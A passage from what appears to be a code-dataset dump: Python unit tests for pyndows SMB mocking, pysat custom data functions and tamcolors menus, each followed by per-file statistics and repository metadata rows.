samba_mock.files_to_retrieve[("TestShare", "TestFilePath")] = "data"
pyndows.get(
connection,
"TestShare",
"TestFilePath",
os.path.join(temp_dir, "local_file_retrieved"),
)
with open(os.path.join(temp_dir, "local_file_retrieved"), "rt") as local_file:
assert local_file.read() == "data"
def test_file_retrieval_using_bytes_content(samba_mock: SMBConnectionMock):
connection = pyndows.connect(
"TestComputer", "127.0.0.1", 80, "TestDomain", "TestUser", "TestPassword"
)
with tempfile.TemporaryDirectory() as temp_dir:
bytes_content_file_path = os.path.join(temp_dir, "local_file")
with gzip.open(bytes_content_file_path, mode="w") as distant_file:
distant_file.write(b"Test Content")
samba_mock.files_to_retrieve[("TestShare", "TestFilePath")] = open(
bytes_content_file_path, "rb"
).read()
pyndows.get(
connection,
"TestShare",
"TestFilePath",
os.path.join(temp_dir, "local_file_retrieved"),
)
with gzip.open(os.path.join(temp_dir, "local_file_retrieved")) as local_file:
assert local_file.read() == b"Test Content"
def test_retrieval_of_stored_non_text_file(samba_mock: SMBConnectionMock):
connection = pyndows.connect(
"TestComputer", "127.0.0.1", 80, "TestDomain", "TestUser", "TestPassword"
)
with tempfile.TemporaryDirectory() as temp_dir:
with gzip.open(os.path.join(temp_dir, "local_file"), mode="w") as distant_file:
distant_file.write(b"Test Content Move")
pyndows.move(
connection,
"TestShare",
"TestFilePath",
os.path.join(temp_dir, "local_file"),
)
pyndows.get(
connection,
"TestShare",
"TestFilePath",
os.path.join(temp_dir, "local_file_retrieved"),
)
with gzip.open(os.path.join(temp_dir, "local_file_retrieved")) as local_file:
assert local_file.read() == b"Test Content Move"
assert (
gzip.decompress(samba_mock.stored_files[("TestShare", "TestFilePath")])
== b"Test Content Move"
)
| 34.382353
| 87
| 0.621471
| 781
| 7,014
| 5.355954
| 0.129321
| 0.058092
| 0.045422
| 0.063591
| 0.856562
| 0.803251
| 0.803251
| 0.774325
| 0.737987
| 0.728664
| 0
| 0.013095
| 0.259624
| 7,014
| 203
| 88
| 34.551724
| 0.792413
| 0
| 0
| 0.60241
| 0
| 0
| 0.195751
| 0
| 0
| 0
| 0
| 0
| 0.060241
| 1
| 0.072289
| false
| 0.054217
| 0.054217
| 0
| 0.126506
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
3185527158d397fde3753feceed97d06f7cf8f12
| 13,848
|
py
|
Python
|
pysat/tests/test_custom.py
|
jklenzing/pysat
|
e84002e57f8a808d35562f51ce957361d99c4070
|
[
"BSD-3-Clause"
] | null | null | null |
pysat/tests/test_custom.py
|
jklenzing/pysat
|
e84002e57f8a808d35562f51ce957361d99c4070
|
[
"BSD-3-Clause"
] | 1
|
2020-01-30T02:35:32.000Z
|
2020-01-30T02:35:32.000Z
|
pysat/tests/test_custom.py
|
jklenzing/pysat
|
e84002e57f8a808d35562f51ce957361d99c4070
|
[
"BSD-3-Clause"
] | 1
|
2020-01-30T01:46:31.000Z
|
2020-01-30T01:46:31.000Z
|
import numpy as np
from nose.tools import raises
import pandas as pds
import pysat
class TestBasics():
def setup(self):
"""Runs before every method to create a clean testing setup."""
self.testInst = pysat.Instrument('pysat', 'testing', tag='10',
clean_level='clean')
def teardown(self):
"""Runs after every method to clean up previous testing."""
del self.testInst
def add(self, function, kind='add', at_pos='end', *args, **kwargs):
'''Adds a function to the object's custom queue'''
self.testInst.custom.add(function, kind, at_pos, *args, **kwargs)
@raises(ValueError)
def test_single_modifying_custom_function(self):
"""Test if custom function works correctly. Modify function that
returns pandas object. Modify function returns an object which will
produce an Error.
"""
def custom1(inst):
inst.data['doubleMLT'] = 2.0 * inst.data.mlt
return 5.0 * inst.data['mlt']
self.testInst.custom.add(custom1, 'modify')
self.testInst.load(2009, 1)
def test_single_adding_custom_function(self):
"""Test if custom function works correctly. Add function that returns
pandas object.
"""
def custom1(inst):
d = 2.0 * inst['mlt']
d.name = 'doubleMLT'
return d
self.add(custom1, 'add')
self.testInst.load(2009, 1)
assert (self.testInst['doubleMLT'].values == 2.0 *
self.testInst['mlt'].values).all()
def test_single_adding_custom_function_wrong_times(self):
"""Only the data at the correct time should be accepted, otherwise it
returns nan
"""
def custom1(inst):
new_index = inst.index+pds.DateOffset(milliseconds=500)
d = pds.Series(2.0 * inst['mlt'], index=new_index)
d.name = 'doubleMLT'
print(new_index)
return d
self.add(custom1, 'add')
self.testInst.load(2009, 1)
ans = (self.testInst['doubleMLT'].isnull()).all()
if self.testInst.pandas_format:
assert ans
else:
print("Warning! Xarray doesn't enforce the same times on all " +
"parameters in dataset.")
def test_single_adding_custom_function_that_modifies_passed_data(self):
"""Test if custom function works correctly. Add function that returns
pandas object but modifies passed satellite object.
Changes to passed object should not propagate back.
"""
def custom1(inst):
inst.data['doubleMLT'] = 2.0 * inst.data.mlt
inst['mlt'] = 0.
return inst.data.doubleMLT
self.add(custom1, 'add')
self.testInst.load(2009, 1)
assert (self.testInst.data['doubleMLT'] == 2.0 *
self.testInst['mlt']).all()
def test_add_function_tuple_return_style(self):
"""Test if custom function works correctly. Add function that returns
name and numpy array.
"""
def custom1(inst):
return ('doubleMLT', 2.0 * inst.data.mlt.values)
self.testInst.custom.add(custom1, 'add')
self.testInst.load(2009, 1)
print(self.testInst['doubleMLT'])
print(2.0 * self.testInst['mlt'])
assert (self.testInst['doubleMLT'] == 2.0 * self.testInst['mlt']).all()
def test_add_multiple_custom_functions_tuple_return_style(self):
"""Test if multiple custom functions that add data work correctly. Add
function that returns name and numpy array.
"""
def custom1(inst):
return (['doubleMLT', 'tripleMLT'], [2.0 * inst.data.mlt.values,
3.0 * inst.data.mlt.values])
self.testInst.custom.add(custom1, 'add')
self.testInst.load(2009, 1)
assert (self.testInst.data['doubleMLT'] == 2.0 *
self.testInst['mlt']).all()
assert (self.testInst.data['tripleMLT'] == 3.0 *
self.testInst['mlt']).all()
@raises(ValueError)
def test_add_function_tuple_return_style_too_few_elements(self):
"""Test if custom function works correctly. Add function that returns
name and numpy array.
"""
def custom1(inst):
return ('doubleMLT', 2.0 * inst.data.mlt.values[0:-5])
self.testInst.custom.add(custom1, 'add')
self.testInst.load(2009, 1)
if not self.testInst.pandas_format:
print("Warning! Xarray doesn't enforce the same number of " +
"elements on all parameters in dataset.")
raise ValueError
@raises(ValueError)
def test_add_function_tuple_return_style_too_many_elements(self):
"""Test if custom function works correctly. Add function that returns
name and numpy array.
"""
def custom1(inst):
return ('doubleMLT', np.arange(2.0 * len(inst.data.mlt)))
self.testInst.custom.add(custom1, 'add')
self.testInst.load(2009, 1)
if not self.testInst.pandas_format:
print("Warning! Xarray doesn't enforce the same number of " +
"elements on all parameters in dataset.")
raise ValueError
def test_add_dataframe(self):
def custom1(inst):
out = pysat.DataFrame({'doubleMLT': inst.data.mlt * 2,
'tripleMLT': inst.data.mlt * 3},
index=inst.index)
return out
self.add(custom1, 'add')
self.testInst.load(2009, 1)
assert (self.testInst.data['doubleMLT'] == 2.0 *
self.testInst['mlt']).all()
assert (self.testInst.data['tripleMLT'] == 3.0 *
self.testInst['mlt']).all()
def test_add_dataframe_w_meta(self):
def custom1(inst):
out = pysat.DataFrame({'doubleMLT': inst.data.mlt * 2,
'tripleMLT': inst.data.mlt * 3},
index=inst.index)
return {'data': out,
'long_name': ['doubleMLTlong', 'tripleMLTlong'],
'units': ['hours1', 'hours2']}
self.add(custom1, 'add')
self.testInst.load(2009, 1)
assert self.testInst.meta['doubleMLT'].units == 'hours1'
assert self.testInst.meta['doubleMLT'].long_name == 'doubleMLTlong'
assert self.testInst.meta['tripleMLT'].units == 'hours2'
assert self.testInst.meta['tripleMLT'].long_name == 'tripleMLTlong'
assert (self.testInst['doubleMLT'] == 2.0 * self.testInst['mlt']).all()
assert (self.testInst['tripleMLT'] == 3.0 * self.testInst['mlt']).all()
def test_add_series_w_meta(self):
def custom1(inst):
out = pysat.Series(inst.data.mlt * 2,
index=inst.index)
out.name = 'doubleMLT'
return {'data': out, 'long_name': 'doubleMLTlong',
'units': 'hours1'}
self.add(custom1, 'add')
self.testInst.load(2009, 1)
assert self.testInst.meta['doubleMLT'].units == 'hours1'
assert self.testInst.meta['doubleMLT'].long_name == 'doubleMLTlong'
assert (self.testInst['doubleMLT'] == 2.0 * self.testInst['mlt']).all()
def test_add_series_w_meta_missing_long_name(self):
def custom1(inst):
out = pysat.Series(2.0 * inst.data.mlt.values,
index=inst.index)
out.name = 'doubleMLT'
return {'data': out,
'units': 'hours1'}
self.add(custom1, 'add')
self.testInst.load(2009, 1)
assert self.testInst.meta['doubleMLT'].units == 'hours1'
assert self.testInst.meta['doubleMLT'].long_name == 'doubleMLT'
assert (self.testInst['doubleMLT'] == 2.0 * self.testInst['mlt']).all()
def test_add_series_w_meta_name_in_dict(self):
def custom1(inst):
out = pysat.Series(2.0 * inst.data.mlt.values,
index=inst.index)
return {'data': out, 'long_name': 'doubleMLTlong',
'units': 'hours1', 'name': 'doubleMLT'}
self.add(custom1, 'add')
self.testInst.load(2009, 1)
assert self.testInst.meta['doubleMLT'].units == 'hours1'
assert self.testInst.meta['doubleMLT'].long_name == 'doubleMLTlong'
assert (self.testInst['doubleMLT'] == 2.0 * self.testInst['mlt']).all()
@raises(ValueError)
def test_add_series_w_meta_no_name(self):
def custom1(inst):
out = pysat.Series({'doubleMLT': inst.data.mlt * 2},
index=inst.index)
# out.name = 'doubleMLT'
return {'data': out, 'long_name': 'doubleMLTlong',
'units': 'hours1'}
self.add(custom1, 'add')
self.testInst.load(2009, 1)
def test_add_numpy_array_w_meta_name_in_dict(self):
def custom1(inst):
out = 2.*inst['mlt'].values
return {'data': out, 'long_name': 'doubleMLTlong',
'units': 'hours1', 'name': 'doubleMLT'}
self.add(custom1, 'add')
self.testInst.load(2009, 1)
assert self.testInst.meta['doubleMLT'].units == 'hours1'
assert self.testInst.meta['doubleMLT'].long_name == 'doubleMLTlong'
assert (self.testInst['doubleMLT'] == 2.0 * self.testInst['mlt']).all()
@raises(ValueError)
def test_add_numpy_array_w_meta_no_name_in_dict(self):
def custom1(inst):
out = (inst.data.mlt * 2).values
return {'data': out, 'long_name': 'doubleMLTlong',
'units': 'hours1'}
self.add(custom1, 'add')
self.testInst.load(2009, 1)
def test_add_list_w_meta_name_in_dict(self):
def custom1(inst):
out = (inst.data.mlt * 2).values.tolist()
return {'data': out, 'long_name': 'doubleMLTlong',
'units': 'hours1', 'name': 'doubleMLT'}
self.add(custom1, 'add')
self.testInst.load(2009, 1)
assert self.testInst.meta['doubleMLT'].units == 'hours1'
assert self.testInst.meta['doubleMLT'].long_name == 'doubleMLTlong'
assert (self.testInst['doubleMLT'] == 2.0 * self.testInst['mlt']).all()
@raises(ValueError)
def test_add_list_w_meta_no_name_in_dict(self):
def custom1(inst):
out = (inst.data.mlt * 2).values.tolist()
return {'data': out, 'long_name': 'doubleMLTlong',
'units': 'hours1'}
self.testInst.custom.add(custom1, 'add')
self.testInst.load(2009, 1)
def test_clear_functions(self):
def custom1(inst):
out = (inst.data.mlt * 2).values
return {'data': out, 'long_name': 'doubleMLTlong',
'units': 'hours1', 'name': 'doubleMLT'}
self.testInst.custom.add(custom1, 'add')
self.testInst.custom.clear()
assert self.testInst.custom._functions == []
assert self.testInst.custom._kind == []
def test_pass_functions(self):
def custom1(inst):
out = (inst.data.mlt * 2).values
return
self.testInst.custom.add(custom1, 'pass')
self.testInst.load(2009, 1)
assert True
@raises(ValueError)
def test_pass_functions_no_return_allowed(self):
def custom1(inst):
out = (inst.data.mlt * 2).values
return {'data': out, 'long_name': 'doubleMLTlong',
'units': 'hours1', 'name': 'doubleMLT'}
self.testInst.custom.add(custom1, 'pass')
self.testInst.load(2009, 1)
@raises(AttributeError)
def test_add_multiple_functions_one_not_at_end(self):
def custom1(inst):
out = (inst.data.mlt * 2).values
return {'data': out, 'long_name': 'doubleMLTlong',
'units': 'hours1', 'name': 'doubleMLT'}
def custom2(inst):
out = (inst.data.mlt * 3).values
return {'data': out, 'long_name': 'tripleMLTlong',
'units': 'hours1', 'name': 'tripleMLT'}
def custom3(inst):
out = (inst.data.tripleMLT * 2).values
return {'data': out, 'long_name': 'quadMLTlong',
'units': 'hours1', 'name': 'quadMLT'}
self.testInst.custom.add(custom1, 'add')
self.testInst.custom.add(custom2, 'add')
# if this runs correctly, an error will be thrown
# since the data required by custom3 won't be present yet
self.testInst.custom.add(custom3, 'add', at_pos=1)
self.testInst.load(2009, 1)
class TestBasicsXarray(TestBasics):
def setup(self):
"""Runs before every method to create a clean testing setup."""
self.testInst = pysat.Instrument('pysat', 'testing_xarray', tag='10',
clean_level='clean')
def teardown(self):
"""Runs after every method to clean up previous testing."""
del self.testInst
class ConstellationTestBasics(TestBasics):
def setup(self):
"""Runs before every method to create a clean testing setup"""
insts = []
for i in range(5):
insts.append(pysat.Instrument('pysat', 'testing', tag='10',
clean_level='clean'))
self.testConst = pysat.Constellation(insts)
def teardown(self):
""" Runs after every method to clean up previous testing"""
del self.testConst
def add(self, function, kind='add', at_pos='end', *args, **kwargs):
""" Add a function to the object's custom queue"""
self.testConst.data_mod(function, kind, at_pos, *args, **kwargs)
| 40.970414
| 79
| 0.57539
| 1,614
| 13,848
| 4.833953
| 0.113383
| 0.136888
| 0.069213
| 0.053832
| 0.808382
| 0.785183
| 0.755832
| 0.742246
| 0.721866
| 0.681876
| 0
| 0.026522
| 0.2921
| 13,848
| 337
| 80
| 41.091988
| 0.769356
| 0.101748
| 0
| 0.657588
| 0
| 0
| 0.133175
| 0
| 0
| 0
| 0
| 0
| 0.124514
| 1
| 0.210117
| false
| 0.019455
| 0.015564
| 0.015564
| 0.330739
| 0.023346
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
318779605ce8fe2b29e1e66e17455877ed7ded93
| 40,598
|
py
|
Python
|
tamcolors/tests/tam_tools_tests/tam_menu_tests.py
|
cmcmarrow/tamcolors
|
65a5f2455bbe35a739b98d14af158c3df7feb786
|
[
"Apache-2.0"
] | 29
|
2020-07-17T23:46:17.000Z
|
2022-02-06T05:36:44.000Z
|
tamcolors/tests/tam_tools_tests/tam_menu_tests.py
|
sudo-nikhil/tamcolors
|
65a5f2455bbe35a739b98d14af158c3df7feb786
|
[
"Apache-2.0"
] | 42
|
2020-07-25T19:39:52.000Z
|
2021-02-24T01:19:58.000Z
|
tamcolors/tests/tam_tools_tests/tam_menu_tests.py
|
sudo-nikhil/tamcolors
|
65a5f2455bbe35a739b98d14af158c3df7feb786
|
[
"Apache-2.0"
] | 8
|
2020-07-18T23:02:48.000Z
|
2020-12-30T04:07:35.000Z
|
# built in libraries
import unittest
import unittest.mock
# tamcolors libraries
from tamcolors import tam_io
from tamcolors import tam_tools
from tamcolors.tam_io.tam_colors import *
class TAMMenuTests(unittest.TestCase):
def test_tam_menu(self):
self.assertIsInstance(tam_tools.tam_menu.TAMMenu([], "a", {}), tam_tools.tam_menu.TAMMenu)
def test_tam_menu_2(self):
buttons = (tam_tools.tam_menu.TAMTextButton("Hello", 3, 4, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextButton("By", 3, 6, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextButton("12345678", 3, 8, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextBoxButton("test", 3, 10, 12, 5, "#", AQUA, GREEN, lambda: None, PURPLE, GREEN))
goto_map = {0: {"UP": 3, "DOWN": 1},
1: {"UP": 0, "DOWN": 2},
2: {"UP": 1, "DOWN": 3},
3: {"UP": 2, "DOWN": 0}}
self.assertIsInstance(tam_tools.tam_menu.TAMMenu(buttons, "a", goto_map), tam_tools.tam_menu.TAMMenu)
def test_update(self):
hit_button = tam_tools.tam_menu.TAMTextButton("Hello", 3, 4, AQUA, GREEN, lambda: None, PURPLE, GREEN)
buttons = (hit_button,
tam_tools.tam_menu.TAMTextButton("By", 3, 6, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextButton("12345678", 3, 8, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextBoxButton("test", 3, 10, 12, 5, "#", AQUA, GREEN, lambda: None, PURPLE, GREEN))
goto_map = {0: {"UP": 3, "DOWN": 1},
1: {"UP": 0, "DOWN": 2},
2: {"UP": 1, "DOWN": 3},
3: {"UP": 2, "DOWN": 0}}
menu = tam_tools.tam_menu.TAMMenu(buttons, "a", goto_map)
with unittest.mock.patch.object(tam_tools.tam_menu.TAMTextButton, "__call__", return_value=None) as call:
menu.update((("a", "NORMAL"),))
call.assert_called_once_with()
self.assertIs(menu.get_on()[1], hit_button)
def test_update_2(self):
hit_button = tam_tools.tam_menu.TAMTextButton("Hello", 3, 4, AQUA, GREEN, lambda: None, PURPLE, GREEN)
buttons = (hit_button,
tam_tools.tam_menu.TAMTextButton("By", 3, 6, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextButton("12345678", 3, 8, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextBoxButton("test", 3, 10, 12, 5, "#", AQUA, GREEN, lambda: None, PURPLE, GREEN))
goto_map = {0: {"UP": 3, "DOWN": 1},
1: {"UP": 0, "DOWN": 2},
2: {"UP": 1, "DOWN": 3},
3: {"UP": 2, "DOWN": 0}}
menu = tam_tools.tam_menu.TAMMenu(buttons, "a", goto_map)
with unittest.mock.patch.object(tam_tools.tam_menu.TAMTextButton, "__call__", return_value=None) as call:
menu.update((("a", "NORMAL"),))
call.assert_called_once_with()
self.assertIs(menu.get_on()[1], hit_button)
menu.update((("a", "NORMAL"),))
self.assertEqual(call.call_count, 2)
self.assertIs(menu.get_on()[1], hit_button)
def test_update_3(self):
hit_button = tam_tools.tam_menu.TAMTextButton("Hello", 3, 4, AQUA, GREEN, lambda: None, PURPLE, GREEN)
hit_button_2 = tam_tools.tam_menu.TAMTextButton("By", 3, 6, AQUA, GREEN, lambda: None, PURPLE, GREEN)
hit_button_3 = tam_tools.tam_menu.TAMTextButton("12345678", 3, 8, AQUA, GREEN, lambda: None, PURPLE, GREEN)
hit_button_4 = tam_tools.tam_menu.TAMTextBoxButton("test", 3, 10, 12, 5, "#", AQUA, GREEN, lambda: None, PURPLE, GREEN)
buttons = (hit_button,
hit_button_2,
hit_button_3,
hit_button_4)
goto_map = {0: {"UP": 3, "DOWN": 1},
1: {"UP": 0, "DOWN": 2},
2: {"UP": 1, "DOWN": 3},
3: {"UP": 2, "DOWN": 0}}
menu = tam_tools.tam_menu.TAMMenu(buttons, "a", goto_map)
with unittest.mock.patch.object(tam_tools.tam_menu.TAMTextButton, "__call__", return_value=None) as call:
menu.update((("a", "NORMAL"),))
call.assert_called_once_with()
self.assertIs(menu.get_on()[1], hit_button)
menu.update((("a", "NORMAL"),))
self.assertEqual(call.call_count, 2)
self.assertIs(menu.get_on()[1], hit_button)
menu.update((("DOWN", "SPECIAL"), ("a", "NORMAL")))
self.assertEqual(call.call_count, 3)
self.assertIs(menu.get_on()[1], hit_button_2)
menu.update((("DOWN", "SPECIAL"), ("a", "NORMAL")))
self.assertEqual(call.call_count, 4)
self.assertIs(menu.get_on()[1], hit_button_3)
menu.update((("DOWN", "SPECIAL"), ("a", "NORMAL")))
self.assertEqual(call.call_count, 4)
self.assertIs(menu.get_on()[1], hit_button_4)
menu.update((("UP", "SPECIAL"), ("a", "NORMAL")))
self.assertEqual(call.call_count, 5)
self.assertIs(menu.get_on()[1], hit_button_3)
def test_draw(self):
buttons = (tam_tools.tam_menu.TAMTextButton("Hello", 3, 4, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextButton("By", 3, 6, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextButton("12345678", 3, 8, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextBoxButton("test", 3, 10, 12, 5, "#", AQUA, GREEN, lambda: None, PURPLE, GREEN))
goto_map = {0: {"UP": 3, "DOWN": 1},
1: {"UP": 0, "DOWN": 2},
2: {"UP": 1, "DOWN": 3},
3: {"UP": 2, "DOWN": 0}}
menu = tam_tools.tam_menu.TAMMenu(buttons, "a", goto_map)
with unittest.mock.patch.object(tam_tools.tam_menu.TAMTextButton, "draw", return_value=None) as text_draw:
with unittest.mock.patch.object(tam_tools.tam_menu.TAMTextBoxButton, "draw", return_value=None) as box_draw:
surface = tam_io.tam_surface.TAMSurface(0, 0, " ", PURPLE, GREEN)
menu.draw(surface)
self.assertEqual(text_draw.call_count, 3)
box_draw.assert_called_once_with(surface)
def test_get_call_key(self):
buttons = (tam_tools.tam_menu.TAMTextButton("Hello", 3, 4, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextButton("By", 3, 6, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextButton("12345678", 3, 8, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextBoxButton("test", 3, 10, 12, 5, "#", AQUA, GREEN, lambda: None, PURPLE, GREEN))
goto_map = {0: {"UP": 3, "DOWN": 1},
1: {"UP": 0, "DOWN": 2},
2: {"UP": 1, "DOWN": 3},
3: {"UP": 2, "DOWN": 0}}
menu = tam_tools.tam_menu.TAMMenu(buttons, "a", goto_map)
self.assertEqual(menu.get_call_key(), "a")
def test_get_call_key_2(self):
buttons = (tam_tools.tam_menu.TAMTextButton("Hello", 3, 4, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextButton("By", 3, 6, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextButton("12345678", 3, 8, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextBoxButton("test", 3, 10, 12, 5, "#", AQUA, GREEN, lambda: None, PURPLE, GREEN))
goto_map = {0: {"UP": 3, "DOWN": 1},
1: {"UP": 0, "DOWN": 2},
2: {"UP": 1, "DOWN": 3},
3: {"UP": 2, "DOWN": 0}}
menu = tam_tools.tam_menu.TAMMenu(buttons, "UP", goto_map)
self.assertEqual(menu.get_call_key(), "UP")
def test_get_on(self):
hit_button = tam_tools.tam_menu.TAMTextButton("Hello", 3, 4, AQUA, GREEN, lambda: None, PURPLE, GREEN)
buttons = (hit_button,
tam_tools.tam_menu.TAMTextButton("By", 3, 6, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextButton("12345678", 3, 8, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextBoxButton("test", 3, 10, 12, 5, "#", AQUA, GREEN, lambda: None, PURPLE, GREEN))
goto_map = {0: {"UP": 3, "DOWN": 1},
1: {"UP": 0, "DOWN": 2},
2: {"UP": 1, "DOWN": 3},
3: {"UP": 2, "DOWN": 0}}
menu = tam_tools.tam_menu.TAMMenu(buttons, "a", goto_map)
self.assertEqual(menu.get_on(), (0, hit_button))
def test_get_on_2(self):
hit_button = tam_tools.tam_menu.TAMTextButton("Hello", 3, 4, AQUA, GREEN, lambda: None, PURPLE, GREEN)
buttons = (tam_tools.tam_menu.TAMTextButton("By", 3, 6, AQUA, GREEN, lambda: None, PURPLE, GREEN),
hit_button,
tam_tools.tam_menu.TAMTextButton("12345678", 3, 8, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextBoxButton("test", 3, 10, 12, 5, "#", AQUA, GREEN, lambda: None, PURPLE, GREEN))
goto_map = {0: {"UP": 3, "DOWN": 1},
1: {"UP": 0, "DOWN": 2},
2: {"UP": 1, "DOWN": 3},
3: {"UP": 2, "DOWN": 0}}
menu = tam_tools.tam_menu.TAMMenu(buttons, "a", goto_map)
menu.update((("DOWN", "SPECIAL"),))
self.assertEqual(menu.get_on(), (1, hit_button))
def test_get_goto_map(self):
hit_button = tam_tools.tam_menu.TAMTextButton("Hello", 3, 4, AQUA, GREEN, lambda: None, PURPLE, GREEN)
buttons = (tam_tools.tam_menu.TAMTextButton("By", 3, 6, AQUA, GREEN, lambda: None, PURPLE, GREEN),
hit_button,
tam_tools.tam_menu.TAMTextButton("12345678", 3, 8, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextBoxButton("test", 3, 10, 12, 5, "#", AQUA, GREEN, lambda: None, PURPLE, GREEN))
goto_map = {0: {"UP": 3, "DOWN": 1},
1: {"UP": 0, "DOWN": 2},
2: {"UP": 1, "DOWN": 3},
3: {"UP": 2, "DOWN": 0}}
menu = tam_tools.tam_menu.TAMMenu(buttons, "a", goto_map)
self.assertEqual(menu.get_goto_map(), goto_map)
def test_get_buttons(self):
buttons = [tam_tools.tam_menu.TAMTextButton("Hello", 3, 4, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextButton("By", 3, 6, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextButton("12345678", 3, 8, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextBoxButton("test", 3, 10, 12, 5, "#", AQUA, GREEN, lambda: None, PURPLE, GREEN)]
goto_map = {0: {"UP": 3, "DOWN": 1},
1: {"UP": 0, "DOWN": 2},
2: {"UP": 1, "DOWN": 3},
3: {"UP": 2, "DOWN": 0}}
menu = tam_tools.tam_menu.TAMMenu(buttons, "a", goto_map)
self.assertEqual(menu.get_buttons(), buttons)
def test_get_buttons_2(self):
buttons = [tam_tools.tam_menu.TAMTextButton("By", 3, 6, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextButton("12345678", 3, 8, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextBoxButton("test", 3, 10, 12, 5, "#", AQUA, GREEN, lambda: None, PURPLE, GREEN)]
goto_map = {0: {"UP": 2, "DOWN": 1},
1: {"UP": 0, "DOWN": 2},
2: {"UP": 1, "DOWN": 0}}
menu = tam_tools.tam_menu.TAMMenu(buttons, "a", goto_map)
self.assertEqual(menu.get_buttons(), buttons)
def test_get_buttons_3(self):
buttons = []
goto_map = {}
menu = tam_tools.tam_menu.TAMMenu(buttons, "a", goto_map)
self.assertEqual(menu.get_buttons(), buttons)
def test_simple_menu_builder(self):
buttons = [tam_tools.tam_menu.TAMTextButton("Hello", 3, 4, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextButton("By", 3, 6, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextButton("12345678", 3, 8, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextBoxButton("test", 3, 10, 12, 5, "#", AQUA, GREEN, lambda: None, PURPLE, GREEN)]
menu = tam_tools.tam_menu.TAMMenu.simple_menu_builder(buttons, "a")
self.assertEqual(menu.get_goto_map(), {0: {"UP": 3, "DOWN": 1},
1: {"UP": 0, "DOWN": 2},
2: {"UP": 1, "DOWN": 3},
3: {"UP": 2, "DOWN": 0}})
def test_simple_menu_builder_2(self):
buttons = [tam_tools.tam_menu.TAMTextButton("Hello", 3, 4, 6, 2, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextButton("By", 3, 6, 6, 2, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextBoxButton("test", 3, 10, 12, 5, "#", AQUA, GREEN, lambda: None, PURPLE, GREEN)]
menu = tam_tools.tam_menu.TAMMenu.simple_menu_builder(buttons, "a", up_keys=("U", "C"))
self.assertEqual(menu.get_goto_map(), {0: {"C": 2, "U": 2, "DOWN": 1},
1: {"C": 0, "U": 0, "DOWN": 2},
2: {"C": 1, "U": 1, "DOWN": 0}})
def test_simple_menu_builder_3(self):
buttons = [tam_tools.tam_menu.TAMTextButton("Hello", 3, 4, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextButton("By", 3, 6, AQUA, GREEN, lambda: None, PURPLE, GREEN),
tam_tools.tam_menu.TAMTextBoxButton("test", 3, 10, 12, 5, "#", AQUA, GREEN, lambda: None, PURPLE, GREEN)]
menu = tam_tools.tam_menu.TAMMenu.simple_menu_builder(buttons, "a", up_keys=("A", "C"), down_keys=("D",), on=1)
self.assertEqual(menu.get_goto_map(), {0: {"A": 2, "C": 2, "D": 1},
1: {"A": 0, "C": 0, "D": 2},
2: {"A": 1, "C": 1, "D": 0}})
self.assertEqual(menu.get_on()[0], 1)
def test_simple_menu_builder_4(self):
buttons = [tam_tools.tam_menu.TAMTextButton("Hello", 3, 4, AQUA, GREEN, lambda: None, PURPLE, GREEN)]
menu = tam_tools.tam_menu.TAMMenu.simple_menu_builder(buttons, "a")
self.assertEqual(menu.get_goto_map(), {0: {"UP": 0, "DOWN": 0}})
def test_simple_menu_builder_5(self):
menu = tam_tools.tam_menu.TAMMenu.simple_menu_builder([], "a")
self.assertEqual(menu.get_goto_map(), {})
self.assertEqual(menu.get_on()[0], 0)
class TAMTextButtonTests(unittest.TestCase):
def test_init_TextButton(self):
